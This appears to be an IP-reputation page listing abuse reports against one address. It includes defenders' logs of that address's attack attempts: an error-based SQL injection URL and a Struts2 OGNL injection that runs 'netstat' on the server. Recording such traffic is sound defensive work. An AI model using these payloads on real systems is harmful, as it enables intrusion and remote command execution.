This IP address has been reported a total of
40
times from
20 distinct
sources.
216.26.228.252 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
Czechia
with 2
reports;
Germany
with 1
report;
Indonesia
with 1
report.
The most common categories in these recent reports were:
Brute-Force
3
times;
Web App Attack
2
times;
Hacking
2
times;
Port Scan
1
time;
VPN IP
1
time.
Old Reports
The most recent abuse report for this IP address is from
. It is possible that this IP is no
longer involved in abusive activities.
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET DROP Spamhaus D ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET DROP Spamhaus DROP Listed Traffic Inbound group 68).
show less
[SatAug0102:54:09.6782122026][security2:error][pid1176530:tid1176871][client216.26.228.252:0]ModSecu ...
show more[SatAug0102:54:09.6782122026][security2:error][pid1176530:tid1176871][client216.26.228.252:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"368\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"motogiro.com\"][uri\"/xmlrpc.php\"][unique_id\"am1DsfqYMEwDj9qzBLN1fgAAAQY\"]
show less
ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.228.252
2026-0 ...
show moreThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.228.252
2026-05-02 12:39:35 /down/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
show less
ThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/216.26.228.252
20 ...
show moreThreatBook Intelligence: Zombie,vpn_proxy more details on https://threatbook.io/ip/216.26.228.252
2026-02-15 22:41:13 /?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27netstat%20-an%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
2026-02-15 22:41:13 /
show less
Web App Attack
Anonymous
Failed login attempt detected by Fail2Ban in plesk-modsecurity jail
